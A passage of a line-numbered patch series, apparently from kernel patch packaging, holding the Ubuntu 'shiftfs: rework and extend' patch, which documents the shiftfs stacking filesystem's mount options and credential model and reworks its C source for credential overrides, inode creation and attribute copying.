892 -diff --git a/include/uapi/linux/magic.h b/include/uapi/linux/magic.h
893 -index 6325d1d0e90f..1f70efb41565 100644
894 ---- a/include/uapi/linux/magic.h
895 -+++ b/include/uapi/linux/magic.h
896 -@@ -102,4 +102,6 @@
897 - #define DEVMEM_MAGIC 0x454d444d /* "DMEM" */
898 - #define SECRETMEM_MAGIC 0x5345434d /* "SECM" */
899 -
900 -+#define SHIFTFS_MAGIC 0x6a656a62
901 -+
902 - #endif /* __LINUX_MAGIC_H__ */
903 ---
904 -2.39.2
905 -
906 -From 7b502b7e97db8ec9deff14f434eed2f2fbc0cd2f Mon Sep 17 00:00:00 2001
907 -From: Christian Brauner <christian@×××××××.io>
908 -Date: Thu, 4 Apr 2019 15:39:12 +0200
909 -Subject: [PATCH] UBUNTU: SAUCE: shiftfs: rework and extend
910 -Cc: mpagano@g.o
911 -
912 -BugLink: https://bugs.launchpad.net/bugs/1823186
913 -
914 -/* Introduction */
915 -The shiftfs filesystem is implemented as a stacking filesystem. Since it is
916 -a stacking filesystem it shares concepts with overlayfs and ecryptfs.
917 -Usually, shiftfs will be stacked upon another filesystem. The filesystem on
918 -top - shiftfs - is referred to as "upper filesystem" or "overlay" and the
919 -filesystem it is stacked upon is referred to as "lower filesystem" or
920 -"underlay".
921 -
922 -/* Marked and Unmarked shiftfs mounts */
923 -To use shiftfs it is necessary that a given mount is marked as shiftable via
924 -the "mark" mount option. Any mount of shiftfs without the "mark" mount option
925 -not on top of a shiftfs mount with the "mark" mount option will be refused with
926 -EPERM.
927 -After a marked shiftfs mount has been performed other shiftfs mounts
928 -referencing the marked shiftfs mount can be created. These secondary shiftfs
929 -mounts are usually what are of interest.
930 -The marked shiftfs mount will take a reference to the underlying mountpoint of
931 -the directory it is marking as shiftable. Any unmarked shiftfts mounts
932 -referencing this marked shifts mount will take a second reference to this
933 -directory as well. This ensures that the underlying marked shiftfs mount can be
934 -unmounted thereby dropping the reference to the underlying directory without
935 -invalidating the mountpoint of said directory since the non-marked shiftfs
936 -mount still holds another reference to it.
937 -
938 -/* Stacking Depth */
939 -Shiftfs tries to keep the stack as flat as possible to avoid hitting the
940 -kernel enforced filesystem stacking limit.
941 -
942 -/* Permission Model */
943 -When the mark shiftfs mount is created shiftfs will record the credentials of
944 -the creator of the super block and stash it in the super block. When other
945 -non-mark shiftfs mounts are created that reference the mark shiftfs mount they
946 -will stash another reference to the creators credentials. Before calling into
947 -the underlying filesystem shiftfs will switch to the creators credentials and
948 -revert to the original credentials after the underlying filesystem operation
949 -returns.
950 -
951 -/* Mount Options */
952 -- mark
953 - When set the mark mount option indicates that the mount in question is
954 - allowed to be shifted. Since shiftfs it mountable in by user namespace root
955 - non-initial user namespace this mount options ensures that the system
956 - administrator has decided that the marked mount is safe to be shifted.
957 - To mark a mount as shiftable CAP_SYS_ADMIN in the user namespace is required.
958 -- passthrough={0,1,2,3}
959 - This mount options functions as a bitmask. When set to a non-zero value
960 - shiftfs will try to act as an invisible shim sitting on top of the
961 - underlying filesystem.
962 - - 1: Shifts will report the filesystem type of the underlay for stat-like
963 - system calls.
964 - - 2: Shiftfs will passthrough whitelisted ioctl() to the underlay.
965 - - 3: Shiftfs will both use 1 and 2.
966 -Note that mount options on a marked mount cannot be changed.
967 -
968 -/* Extended Attributes */
969 -Shiftfs will make sure to translate extended attributes.
970 -
971 -/* Inodes Numbers */
972 -Shiftfs inodes numbers are copied up from the underlying filesystem, i.e.
973 -shiftfs inode numbers will be identical to the corresponding underlying
974 -filesystem's inode numbers. This has the advantage that inotify and friends
975 -should work out of the box.
976 -(In essence, shiftfs is nothing but a 1:1 mirror of the underlying filesystem's
977 - dentries and inodes.)
978 -
979 -/* Device Support */
980 -Shiftfs only supports the creation of pipe and socket devices. Character and
981 -block devices cannot be created through shiftfs.
982 -
983 -Signed-off-by: Christian Brauner <christian.brauner@××××××.com>
984 -Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
985 -Acked-by: Tyler Hicks <tyhicks@×××××××××.com>
986 -Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
987 -Signed-off-by: Mike Pagano <mpagano@g.o>
988 ----
989 - fs/Kconfig | 10 +
990 - fs/shiftfs.c | 1852 ++++++++++++++++++++++++++++++++++++++++----------
991 - 2 files changed, 1493 insertions(+), 369 deletions(-)
992 -
993 -diff --git a/fs/Kconfig b/fs/Kconfig
994 -index b53bece1e940..ada9a1234e72 100644
995 ---- a/fs/Kconfig
996 -+++ b/fs/Kconfig
997 -@@ -136,6 +136,16 @@ config SHIFT_FS
998 - unprivileged containers can use this to mount root volumes
999 - using this technique.
1000 -
1001 -+config SHIFT_FS_POSIX_ACL
1002 -+ bool "shiftfs POSIX Access Control Lists"
1003 -+ depends on SHIFT_FS
1004 -+ select FS_POSIX_ACL
1005 -+ help
1006 -+ POSIX Access Control Lists (ACLs) support permissions for users and
1007 -+ groups beyond the owner/group/world scheme.
1008 -+
1009 -+ If you don't know what Access Control Lists are, say N.
1010 -+
1011 - menu "Caches"
1012 -
1013 - source "fs/netfs/Kconfig"
1014 -diff --git a/fs/shiftfs.c b/fs/shiftfs.c
1015 -index f7cada126daa..ad1ae5bce6c1 100644
1016 ---- a/fs/shiftfs.c
1017 -+++ b/fs/shiftfs.c
1018 -@@ -1,3 +1,4 @@
1019 -+#include <linux/capability.h>
1020 - #include <linux/cred.h>
1021 - #include <linux/mount.h>
1022 - #include <linux/file.h>
1023 -@@ -7,83 +8,179 @@
1024 - #include <linux/kernel.h>
1025 - #include <linux/magic.h>
1026 - #include <linux/parser.h>
1027 -+#include <linux/security.h>
1028 - #include <linux/seq_file.h>
1029 - #include <linux/statfs.h>
1030 - #include <linux/slab.h>
1031 - #include <linux/user_namespace.h>
1032 - #include <linux/uidgid.h>
1033 - #include <linux/xattr.h>
1034 -+#include <linux/posix_acl.h>
1035 -+#include <linux/posix_acl_xattr.h>
1036 -+#include <linux/uio.h>
1037 -
1038 - struct shiftfs_super_info {
1039 - struct vfsmount *mnt;
1040 - struct user_namespace *userns;
1041 -+ /* creds of process who created the super block */
1042 -+ const struct cred *creator_cred;
1043 - bool mark;
1044 -+ unsigned int passthrough;
1045 -+ struct shiftfs_super_info *info_mark;
1046 - };
1047 -
1048 --static struct inode *shiftfs_new_inode(struct super_block *sb, umode_t mode,
1049 -- struct dentry *dentry);
1050 -+struct shiftfs_file_info {
1051 -+ struct path realpath;
1052 -+ struct file *realfile;
1053 -+};
1054 -+
1055 -+struct kmem_cache *shiftfs_file_info_cache;
1056 -+
1057 -+static void shiftfs_fill_inode(struct inode *inode, unsigned long ino,
1058 -+ umode_t mode, dev_t dev, struct dentry *dentry);
1059 -+
1060 -+#define SHIFTFS_PASSTHROUGH_NONE 0
1061 -+#define SHIFTFS_PASSTHROUGH_STAT 1
1062 -+#define SHIFTFS_PASSTHROUGH_ALL (SHIFTFS_PASSTHROUGH_STAT)
1063 -+
1064 -+static inline bool shiftfs_passthrough_statfs(struct shiftfs_super_info *info)
1065 -+{
1066 -+ if (!(info->passthrough & SHIFTFS_PASSTHROUGH_STAT))
1067 -+ return false;
1068 -+
1069 -+ if (info->info_mark &&
1070 -+ !(info->info_mark->passthrough & SHIFTFS_PASSTHROUGH_STAT))
1071 -+ return false;
1072 -+
1073 -+ return true;
1074 -+}
1075 -
1076 - enum {
1077 - OPT_MARK,
1078 -+ OPT_PASSTHROUGH,
1079 - OPT_LAST,
1080 - };
1081 -
1082 - /* global filesystem options */
1083 - static const match_table_t tokens = {
1084 - { OPT_MARK, "mark" },
1085 -+ { OPT_PASSTHROUGH, "passthrough=%u" },
1086 - { OPT_LAST, NULL }
1087 - };
1088 -
1089 --static const struct cred *shiftfs_get_up_creds(struct super_block *sb)
1090 -+static const struct cred *shiftfs_override_creds(const struct super_block *sb)
1091 - {
1092 -- struct shiftfs_super_info *ssi = sb->s_fs_info;
1093 -- struct cred *cred = prepare_creds();
1094 -+ struct shiftfs_super_info *sbinfo = sb->s_fs_info;
1095 -
1096 -- if (!cred)
1097 -- return NULL;
1098 -+ return override_creds(sbinfo->creator_cred);
1099 -+}
1100 -+
1101 -+static inline void shiftfs_revert_object_creds(const struct cred *oldcred,
1102 -+ struct cred *newcred)
1103 -+{
1104 -+ revert_creds(oldcred);
1105 -+ put_cred(newcred);
1106 -+}
1107 -+
1108 -+static int shiftfs_override_object_creds(const struct super_block *sb,
1109 -+ const struct cred **oldcred,
1110 -+ struct cred **newcred,
1111 -+ struct dentry *dentry, umode_t mode,
1112 -+ bool hardlink)
1113 -+{
1114 -+ kuid_t fsuid = current_fsuid();
1115 -+ kgid_t fsgid = current_fsgid();
1116 -+
1117 -+ *oldcred = shiftfs_override_creds(sb);
1118 -+
1119 -+ *newcred = prepare_creds();
1120 -+ if (!*newcred) {
1121 -+ revert_creds(*oldcred);
1122 -+ return -ENOMEM;
1123 -+ }
1124 -+
1125 -+ (*newcred)->fsuid = KUIDT_INIT(from_kuid(sb->s_user_ns, fsuid));
1126 -+ (*newcred)->fsgid = KGIDT_INIT(from_kgid(sb->s_user_ns, fsgid));
1127 -+
1128 -+ if (!hardlink) {
1129 -+ int err = security_dentry_create_files_as(dentry, mode,
1130 -+ &dentry->d_name,
1131 -+ *oldcred, *newcred);
1132 -+ if (err) {
1133 -+ shiftfs_revert_object_creds(*oldcred, *newcred);
1134 -+ return err;
1135 -+ }
1136 -+ }
1137 -
1138 -- cred->fsuid = KUIDT_INIT(from_kuid(sb->s_user_ns, cred->fsuid));
1139 -- cred->fsgid = KGIDT_INIT(from_kgid(sb->s_user_ns, cred->fsgid));
1140 -- put_user_ns(cred->user_ns);
1141 -- cred->user_ns = get_user_ns(ssi->userns);
1142 -+ put_cred(override_creds(*newcred));
1143 -+ return 0;
1144 -+}
1145 -
1146 -- return cred;
1147 -+static kuid_t shift_kuid(struct user_namespace *from, struct user_namespace *to,
1148 -+ kuid_t kuid)
1149 -+{
1150 -+ uid_t uid = from_kuid(from, kuid);
1151 -+ return make_kuid(to, uid);
1152 - }
1153 -
1154 --static const struct cred *shiftfs_new_creds(const struct cred **newcred,
1155 -- struct super_block *sb)
1156 -+static kgid_t shift_kgid(struct user_namespace *from, struct user_namespace *to,
1157 -+ kgid_t kgid)
1158 - {
1159 -- const struct cred *cred = shiftfs_get_up_creds(sb);
1160 -+ gid_t gid = from_kgid(from, kgid);
1161 -+ return make_kgid(to, gid);
1162 -+}
1163 -
1164 -- *newcred = cred;
1165 -+static void shiftfs_copyattr(struct inode *from, struct inode *to)
1166 -+{
1167 -+ struct user_namespace *from_ns = from->i_sb->s_user_ns;
1168 -+ struct user_namespace *to_ns = to->i_sb->s_user_ns;
1169 -+
1170 -+ to->i_uid = shift_kuid(from_ns, to_ns, from->i_uid);
1171 -+ to->i_gid = shift_kgid(from_ns, to_ns, from->i_gid);
1172 -+ to->i_mode = from->i_mode;
1173 -+ to->i_atime = from->i_atime;
1174 -+ to->i_mtime = from->i_mtime;
1175 -+ to->i_ctime = from->i_ctime;
1176 -+ i_size_write(to, i_size_read(from));
1177 -+}
1178 -
1179 -- if (cred)
1180 -- cred = override_creds(cred);
1181 -- else
1182 -- printk(KERN_ERR "shiftfs: Credential override failed: no memory\n");
1183 -+static void shiftfs_copyflags(struct inode *from, struct inode *to)
1184 -+{
1185 -+ unsigned int mask = S_SYNC | S_IMMUTABLE | S_APPEND | S_NOATIME;
1186 -
1187 -- return cred;
1188 -+ inode_set_flags(to, from->i_flags & mask, mask);
1189 - }
1190 -
1191 --static void shiftfs_old_creds(const struct cred *oldcred,
1192 -- const struct cred **newcred)
1193 -+static void shiftfs_file_accessed(struct file *file)
1194 - {
1195 -- if (!*newcred)
1196 -+ struct inode *upperi, *loweri;
1197 -+
1198 -+ if (file->f_flags & O_NOATIME)
1199 - return;
1200 -
1201 -- revert_creds(oldcred);
1202 -- put_cred(*newcred);
1203 -+ upperi = file_inode(file);
1204 -+ loweri = upperi->i_private;
1205 -+
1206 -+ if (!loweri)
1207 -+ return;
1208 -+
1209 -+ upperi->i_mtime = loweri->i_mtime;
1210 -+ upperi->i_ctime = loweri->i_ctime;
1211 -+
1212 -+ touch_atime(&file->f_path);
1213 - }
1214 -
1215 --static int shiftfs_parse_options(struct shiftfs_super_info *ssi, char *options)
1216 -+static int shiftfs_parse_mount_options(struct shiftfs_super_info *sbinfo,
1217 -+ char *options)
1218 - {
1219 - char *p;
1220 - substring_t args[MAX_OPT_ARGS];
1221 -
1222 -- ssi->mark = false;
1223 -+ sbinfo->mark = false;
1224 -+ sbinfo->passthrough = 0;
1225 -
1226 - while ((p = strsep(&options, ",")) != NULL) {
1227 -- int token;
1228 -+ int err, intarg, token;
1229 -
1230 - if (!*p)
1231 - continue;
1232 -@@ -91,121 +188,140 @@ static int shiftfs_parse_options(struct shiftfs_super_info *ssi, char *options)
1233 - token = match_token(p, tokens, args);
1234 - switch (token) {
1235 - case OPT_MARK:
1236 -- ssi->mark = true;
1237 -+ sbinfo->mark = true;
1238 -+ break;
1239 -+ case OPT_PASSTHROUGH:
1240 -+ err = match_int(&args[0], &intarg);
1241 -+ if (err)
1242 -+ return err;
1243 -+
1244 -+ if (intarg & ~SHIFTFS_PASSTHROUGH_ALL)
1245 -+ return -EINVAL;
1246 -+
1247 -+ sbinfo->passthrough = intarg;
1248 - break;
1249 - default:
1250 - return -EINVAL;
1251 - }
1252 - }
1253 -+
1254 - return 0;
1255 - }
1256 -
1257 - static void shiftfs_d_release(struct dentry *dentry)
1258 - {
1259 -- struct dentry *real = dentry->d_fsdata;
1260 -+ struct dentry *lowerd = dentry->d_fsdata;
1261 -
1262 -- dput(real);
1263 -+ if (lowerd)
1264 -+ dput(lowerd);
1265 - }
1266 -
1267 - static struct dentry *shiftfs_d_real(struct dentry *dentry,
1268 - const struct inode *inode)
1269 - {
1270 -- struct dentry *real = dentry->d_fsdata;
1271 -+ struct dentry *lowerd = dentry->d_fsdata;
1272 -+
1273 -+ if (inode && d_inode(dentry) == inode)
1274 -+ return dentry;
1275 -
1276 -- if (unlikely(real->d_flags & DCACHE_OP_REAL))
1277 -- return real->d_op->d_real(real, real->d_inode);
1278 -+ lowerd = d_real(lowerd, inode);
1279 -+ if (lowerd && (!inode || inode == d_inode(lowerd)))
1280 -+ return lowerd;
1281 -
1282 -- return real;
1283 -+ WARN(1, "shiftfs_d_real(%pd4, %s:%lu): real dentry not found\n", dentry,
1284 -+ inode ? inode->i_sb->s_id : "NULL", inode ? inode->i_ino : 0);
1285 -+ return dentry;
1286 - }
1287 -
1288 - static int shiftfs_d_weak_revalidate(struct dentry *dentry, unsigned int flags)
1289 - {
1290 -- struct dentry *real = dentry->d_fsdata;
1291 -+ int err = 1;
1292 -+ struct dentry *lowerd = dentry->d_fsdata;
1293 -
1294 -- if (d_unhashed(real))
1295 -+ if (d_is_negative(lowerd) != d_is_negative(dentry))
1296 - return 0;
1297 -
1298 -- if (!(real->d_flags & DCACHE_OP_WEAK_REVALIDATE))
1299 -- return 1;
1300 -+ if ((lowerd->d_flags & DCACHE_OP_WEAK_REVALIDATE))
1301 -+ err = lowerd->d_op->d_weak_revalidate(lowerd, flags);
1302 -
1303 -- return real->d_op->d_weak_revalidate(real, flags);
1304 -+ if (d_really_is_positive(dentry)) {
1305 -+ struct inode *inode = d_inode(dentry);
1306 -+ struct inode *loweri = d_inode(lowerd);
1307 -+
1308 -+ shiftfs_copyattr(loweri, inode);
1309 -+ if (!inode->i_nlink)
1310 -+ err = 0;
1311 -+ }
1312 -+
1313 -+ return err;
1314 - }
1315 -
1316 - static int shiftfs_d_revalidate(struct dentry *dentry, unsigned int flags)
1317 - {
1318 -- struct dentry *real = dentry->d_fsdata;
1319 -- int ret;
1320 -+ int err = 1;
1321 -+ struct dentry *lowerd = dentry->d_fsdata;
1322 -
1323 -- if (d_unhashed(real))
1324 -+ if (d_unhashed(lowerd) ||
1325 -+ ((d_is_negative(lowerd) != d_is_negative(dentry))))
1326 - return 0;
1327 -
1328 -- /*
1329 -- * inode state of underlying changed from positive to negative
1330 -- * or vice versa; force a lookup to update our view
1331 -- */
1332 -- if (d_is_negative(real) != d_is_negative(dentry))
1333 -- return 0;
1334 -+ if (flags & LOOKUP_RCU)
1335 -+ return -ECHILD;
1336 -
1337 -- if (!(real->d_flags & DCACHE_OP_REVALIDATE))
1338 -- return 1;
1339 -+ if ((lowerd->d_flags & DCACHE_OP_REVALIDATE))
1340 -+ err = lowerd->d_op->d_revalidate(lowerd, flags);
1341 -
1342 -- ret = real->d_op->d_revalidate(real, flags);
1343 -+ if (d_really_is_positive(dentry)) {
1344 -+ struct inode *inode = d_inode(dentry);
1345 -+ struct inode *loweri = d_inode(lowerd);
1346 -
1347 -- if (ret == 0 && !(flags & LOOKUP_RCU))
1348 -- d_invalidate(real);
1349 -+ shiftfs_copyattr(loweri, inode);
1350 -+ if (!inode->i_nlink)
1351 -+ err = 0;
1352 -+ }
1353 -
1354 -- return ret;
1355 -+ return err;
1356 - }
1357 -
1358 - static const struct dentry_operations shiftfs_dentry_ops = {
1359 -- .d_release = shiftfs_d_release,
1360 -- .d_real = shiftfs_d_real,
1361 -- .d_revalidate = shiftfs_d_revalidate,
1362 -+ .d_release = shiftfs_d_release,
1363 -+ .d_real = shiftfs_d_real,
1364 -+ .d_revalidate = shiftfs_d_revalidate,
1365 - .d_weak_revalidate = shiftfs_d_weak_revalidate,
1366 - };
1367 -
1368 --static int shiftfs_readlink(struct dentry *dentry, char __user *data,
1369 -- int flags)
1370 --{
1371 -- struct dentry *real = dentry->d_fsdata;
1372 -- const struct inode_operations *iop = real->d_inode->i_op;
1373 --
1374 -- if (iop->readlink)
1375 -- return iop->readlink(real, data, flags);
1376 --
1377 -- return -EINVAL;
1378 --}
1379 --
1380 - static const char *shiftfs_get_link(struct dentry *dentry, struct inode *inode,
1381 - struct delayed_call *done)
1382 - {
1383 -- if (dentry) {
1384 -- struct dentry *real = dentry->d_fsdata;
1385 -- struct inode *reali = real->d_inode;
1386 -- const struct inode_operations *iop = reali->i_op;
1387 -- const char *res = ERR_PTR(-EPERM);
1388 --
1389 -- if (iop->get_link)
1390 -- res = iop->get_link(real, reali, done);
1391 -+ const char *p;
1392 -+ const struct cred *oldcred;
1393 -+ struct dentry *lowerd;
1394 -
1395 -- return res;
1396 -- } else {
1397 -- /* RCU lookup not supported */
1398 -+ /* RCU lookup not supported */
1399 -+ if (!dentry)
1400 - return ERR_PTR(-ECHILD);
1401 -- }
1402 -+
1403 -+ lowerd = dentry->d_fsdata;
1404 -+ oldcred = shiftfs_override_creds(dentry->d_sb);
1405 -+ p = vfs_get_link(lowerd, done);
1406 -+ revert_creds(oldcred);
1407 -+
1408 -+ return p;
1409 - }
1410 -
1411 - static int shiftfs_setxattr(struct dentry *dentry, struct inode *inode,
1412 - const char *name, const void *value,
1413 - size_t size, int flags)
1414 - {
1415 -- struct dentry *real = dentry->d_fsdata;
1416 -- int err = -EOPNOTSUPP;
1417 -- const struct cred *oldcred, *newcred;
1418 -+ struct dentry *lowerd = dentry->d_fsdata;
1419 -+ int err;
1420 -+ const struct cred *oldcred;
1421 -+
1422 -+ oldcred = shiftfs_override_creds(dentry->d_sb);
1423 -+ err = vfs_setxattr(lowerd, name, value, size, flags);
1424 -+ revert_creds(oldcred);
1425 -
1426 -- oldcred = shiftfs_new_creds(&newcred, dentry->d_sb);
1427 -- err = vfs_setxattr(real, name, value, size, flags);
1428 -- shiftfs_old_creds(oldcred, &newcred);
1429 -+ shiftfs_copyattr(lowerd->d_inode, inode);
1430 -
1431 - return err;
1432 - }
1433 -@@ -214,13 +330,13 @@ static int shiftfs_xattr_get(const struct xattr_handler *handler,
1434 - struct dentry *dentry, struct inode *inode,
1435 - const char *name, void *value, size_t size)
1436 - {
1437 -- struct dentry *real = dentry->d_fsdata;
1438 -+ struct dentry *lowerd = dentry->d_fsdata;
1439 - int err;
1440 -- const struct cred *oldcred, *newcred;
1441 -+ const struct cred *oldcred;
1442 -
1443 -- oldcred = shiftfs_new_creds(&newcred, dentry->d_sb);
1444 -- err = vfs_getxattr(real, name, value, size);
1445 -- shiftfs_old_creds(oldcred, &newcred);
1446 -+ oldcred = shiftfs_override_creds(dentry->d_sb);
1447 -+ err = vfs_getxattr(lowerd, name, value, size);
1448 -+ revert_creds(oldcred);
1449 -
1450 - return err;
1451 - }
1452 -@@ -228,26 +344,29 @@ static int shiftfs_xattr_get(const struct xattr_handler *handler,
1453 - static ssize_t shiftfs_listxattr(struct dentry *dentry, char *list,
1454 - size_t size)
1455 - {
1456 -- struct dentry *real = dentry->d_fsdata;
1457 -+ struct dentry *lowerd = dentry->d_fsdata;
1458 - int err;
1459 -- const struct cred *oldcred, *newcred;
1460 -+ const struct cred *oldcred;
1461 -
1462 -- oldcred = shiftfs_new_creds(&newcred, dentry->d_sb);
1463 -- err = vfs_listxattr(real, list, size);
1464 -- shiftfs_old_creds(oldcred, &newcred);
1465 -+ oldcred = shiftfs_override_creds(dentry->d_sb);
1466 -+ err = vfs_listxattr(lowerd, list, size);
1467 -+ revert_creds(oldcred);
1468 -
1469 - return err;
1470 - }
1471 -
1472 - static int shiftfs_removexattr(struct dentry *dentry, const char *name)
1473 - {
1474 -- struct dentry *real = dentry->d_fsdata;
1475 -+ struct dentry *lowerd = dentry->d_fsdata;
1476 - int err;
1477 -- const struct cred *oldcred, *newcred;
1478 -+ const struct cred *oldcred;
1479 -+
1480 -+ oldcred = shiftfs_override_creds(dentry->d_sb);
1481 -+ err = vfs_removexattr(lowerd, name);
1482 -+ revert_creds(oldcred);
1483 -
1484 -- oldcred = shiftfs_new_creds(&newcred, dentry->d_sb);
1485 -- err = vfs_removexattr(real, name);
1486 -- shiftfs_old_creds(oldcred, &newcred);
1487 -+ /* update c/mtime */
1488 -+ shiftfs_copyattr(lowerd->d_inode, d_inode(dentry));
1489 -
1490 - return err;
1491 - }
1492 -@@ -262,93 +381,157 @@ static int shiftfs_xattr_set(const struct xattr_handler *handler,
1493 - return shiftfs_setxattr(dentry, inode, name, value, size, flags);
1494 - }
1495 -
1496 --static void shiftfs_fill_inode(struct inode *inode, struct dentry *dentry)
1497 -+static int shiftfs_inode_test(struct inode *inode, void *data)
1498 - {
1499 -- struct inode *reali;
1500 --
1501 -- if (!dentry)
1502 -- return;
1503 --
1504 -- reali = dentry->d_inode;
1505 --
1506 -- if (!reali->i_op->get_link)
1507 -- inode->i_opflags |= IOP_NOFOLLOW;
1508 -+ return inode->i_private == data;
1509 -+}
1510 -
1511 -- inode->i_mapping = reali->i_mapping;
1512 -- inode->i_private = dentry;
1513 -+static int shiftfs_inode_set(struct inode *inode, void *data)
1514 -+{
1515 -+ inode->i_private = data;
1516 -+ return 0;
1517 - }
1518 -
1519 --static int shiftfs_make_object(struct inode *dir, struct dentry *dentry,
1520 -- umode_t mode, const char *symlink,
1521 -- struct dentry *hardlink, bool excl)
1522 -+static int shiftfs_create_object(struct inode *diri, struct dentry *dentry,
1523 -+ umode_t mode, const char *symlink,
1524 -+ struct dentry *hardlink, bool excl)
1525 - {
1526 -- struct dentry *real = dir->i_private, *new = dentry->d_fsdata;
1527 -- struct inode *reali = real->d_inode, *newi;
1528 -- const struct inode_operations *iop = reali->i_op;
1529 - int err;
1530 -- const struct cred *oldcred, *newcred;
1531 -- bool op_ok = false;
1532 -+ const struct cred *oldcred;
1533 -+ struct cred *newcred;
1534 -+ void *loweri_iop_ptr = NULL;
1535 -+ umode_t modei = mode;
1536 -+ struct super_block *dir_sb = diri->i_sb;
1537 -+ struct dentry *lowerd_new = dentry->d_fsdata;
1538 -+ struct inode *inode = NULL, *loweri_dir = diri->i_private;
1539 -+ const struct inode_operations *loweri_dir_iop = loweri_dir->i_op;
1540 -+ struct dentry *lowerd_link = NULL;
1541 -
1542 - if (hardlink) {
1543 -- op_ok = iop->link;
1544 -+ loweri_iop_ptr = loweri_dir_iop->link;
1545 - } else {
1546 - switch (mode & S_IFMT) {
1547 - case S_IFDIR:
1548 -- op_ok = iop->mkdir;
1549 -+ loweri_iop_ptr = loweri_dir_iop->mkdir;
1550 - break;
1551 - case S_IFREG:
1552 -- op_ok = iop->create;
1553 -+ loweri_iop_ptr = loweri_dir_iop->create;
1554 - break;
1555 - case S_IFLNK:
1556 -- op_ok = iop->symlink;
1557 -+ loweri_iop_ptr = loweri_dir_iop->symlink;
1558 -+ break;
1559 -+ case S_IFSOCK:
1560 -+ /* fall through */
1561 -+ case S_IFIFO:
1562 -+ loweri_iop_ptr = loweri_dir_iop->mknod;
1563 -+ break;
1564 - }
1565 - }
1566 -- if (!op_ok)
1567 -- return -EINVAL;
1568 -+ if (!loweri_iop_ptr) {
1569 -+ err = -EINVAL;
1570 -+ goto out_iput;
1571 -+ }
1572 -
1573 -+ inode_lock_nested(loweri_dir, I_MUTEX_PARENT);
1574 -
1575 -- newi = shiftfs_new_inode(dentry->d_sb, mode, NULL);
1576 -- if (!newi)
1577 -- return -ENOMEM;
1578 -+ if (!hardlink) {
1579 -+ inode = new_inode(dir_sb);
1580 -+ if (!inode) {
1581 -+ err = -ENOMEM;
1582 -+ goto out_iput;
1583 -+ }
1584 -+
1585 -+ /*
1586 -+ * new_inode() will have added the new inode to the super
1587 -+ * block's list of inodes. Further below we will call
1588 -+ * inode_insert5() Which would perform the same operation again
1589 -+ * thereby corrupting the list. To avoid this raise I_CREATING
1590 -+ * in i_state which will cause inode_insert5() to skip this
1591 -+ * step. I_CREATING will be cleared by d_instantiate_new()
1592 -+ * below.
1593 -+ */
1594 -+ spin_lock(&inode->i_lock);
1595 -+ inode->i_state |= I_CREATING;
1596 -+ spin_unlock(&inode->i_lock);
1597 -
1598 -- oldcred = shiftfs_new_creds(&newcred, dentry->d_sb);
1599 -+ inode_init_owner(inode, diri, mode);
1600 -+ modei = inode->i_mode;
1601 -+ }
1602 -
1603 -- inode_lock_nested(reali, I_MUTEX_PARENT);
1604 -+ err = shiftfs_override_object_creds(dentry->d_sb, &oldcred, &newcred,
1605 -+ dentry, modei, hardlink != NULL);
1606 -+ if (err)
1607 -+ goto out_iput;
1608 -
1609 -- err = -EINVAL; /* shut gcc up about uninit var */
1610 - if (hardlink) {
1611 -- struct dentry *realhardlink = hardlink->d_fsdata;
1612 --
1613 -- err = vfs_link(realhardlink, reali, new, NULL);
1614 -+ lowerd_link = hardlink->d_fsdata;
1615 -+ err = vfs_link(lowerd_link, loweri_dir, lowerd_new, NULL);
1616 - } else {
1617 -- switch (mode & S_IFMT) {
1618 -+ switch (modei & S_IFMT) {
1619 - case S_IFDIR:
1620 -- err = vfs_mkdir(reali, new, mode);
1621 -+ err = vfs_mkdir(loweri_dir, lowerd_new, modei);
1622 - break;
1623 - case S_IFREG:
1624 -- err = vfs_create(reali, new, mode, excl);
1625 -+ err = vfs_create(loweri_dir, lowerd_new, modei, excl);
1626 - break;
1627 - case S_IFLNK:
1628 -- err = vfs_symlink(reali, new, symlink);
1629 -+ err = vfs_symlink(loweri_dir, lowerd_new, symlink);
1630 -+ break;
1631 -+ case S_IFSOCK:
1632 -+ /* fall through */
1633 -+ case S_IFIFO:
1634 -+ err = vfs_mknod(loweri_dir, lowerd_new, modei, 0);
1635 -+ break;
1636 -+ default:
1637 -+ err = -EINVAL;
1638 -+ break;
1639 - }
1640 - }
1641 -
1642 -- shiftfs_old_creds(oldcred, &newcred);
1643 -+ shiftfs_revert_object_creds(oldcred, newcred);
1644 -
1645 -+ if (!err && WARN_ON(!lowerd_new->d_inode))
1646 -+ err = -EIO;
1647 - if (err)
1648 -- goto out_dput;
1649 -+ goto out_iput;
1650 -+
1651 -+ if (hardlink) {
1652 -+ inode = d_inode(hardlink);
1653 -+ ihold(inode);
1654 -+
1655 -+ /* copy up times from lower inode */
1656 -+ shiftfs_copyattr(d_inode(lowerd_link), inode);
1657 -+ set_nlink(d_inode(hardlink), d_inode(lowerd_link)->i_nlink);
1658 -+ d_instantiate(dentry, inode);
1659 -+ } else {
1660 -+ struct inode *inode_tmp;
1661 -+ struct inode *loweri_new = d_inode(lowerd_new);
1662 -+
1663 -+ inode_tmp = inode_insert5(inode, (unsigned long)loweri_new,
1664 -+ shiftfs_inode_test, shiftfs_inode_set,
1665 -+ loweri_new);
1666 -+ if (unlikely(inode_tmp != inode)) {
1667 -+ pr_err_ratelimited("shiftfs: newly created inode found in cache\n");
1668 -+ iput(inode_tmp);
1669 -+ err = -EINVAL;
1670 -+ goto out_iput;
1671 -+ }
1672 -
1673 -- shiftfs_fill_inode(newi, new);
1674 -+ ihold(loweri_new);
1675 -+ shiftfs_fill_inode(inode, loweri_new->i_ino, loweri_new->i_mode,
1676 -+ 0, lowerd_new);
1677 -+ d_instantiate_new(dentry, inode);
1678 -+ }
1679 -
1680 -- d_instantiate(dentry, newi);
1681 -+ shiftfs_copyattr(loweri_dir, diri);
1682 -+ if (loweri_iop_ptr == loweri_dir_iop->mkdir)
1683 -+ set_nlink(diri, loweri_dir->i_nlink);
1684 -
1685 -- new = NULL;
1686 -- newi = NULL;
1687 -+ inode = NULL;
1688 -
1689 -- out_dput:
1690 -- dput(new);
1691 -- iput(newi);
1692 -- inode_unlock(reali);
1693 -+out_iput:
1694 -+ iput(inode);
1695 -+ inode_unlock(loweri_dir);
1696 -
1697 - return err;
1698 - }
1699 -@@ -358,7 +541,7 @@ static int shiftfs_create(struct inode *dir, struct dentry *dentry,
1700 - {
1701 - mode |= S_IFREG;
1702 -
1703 -- return shiftfs_make_object(dir, dentry, mode, NULL, NULL, excl);
1704 -+ return shiftfs_create_object(dir, dentry, mode, NULL, NULL, excl);
1705 - }
1706 -
1707 - static int shiftfs_mkdir(struct inode *dir, struct dentry *dentry,
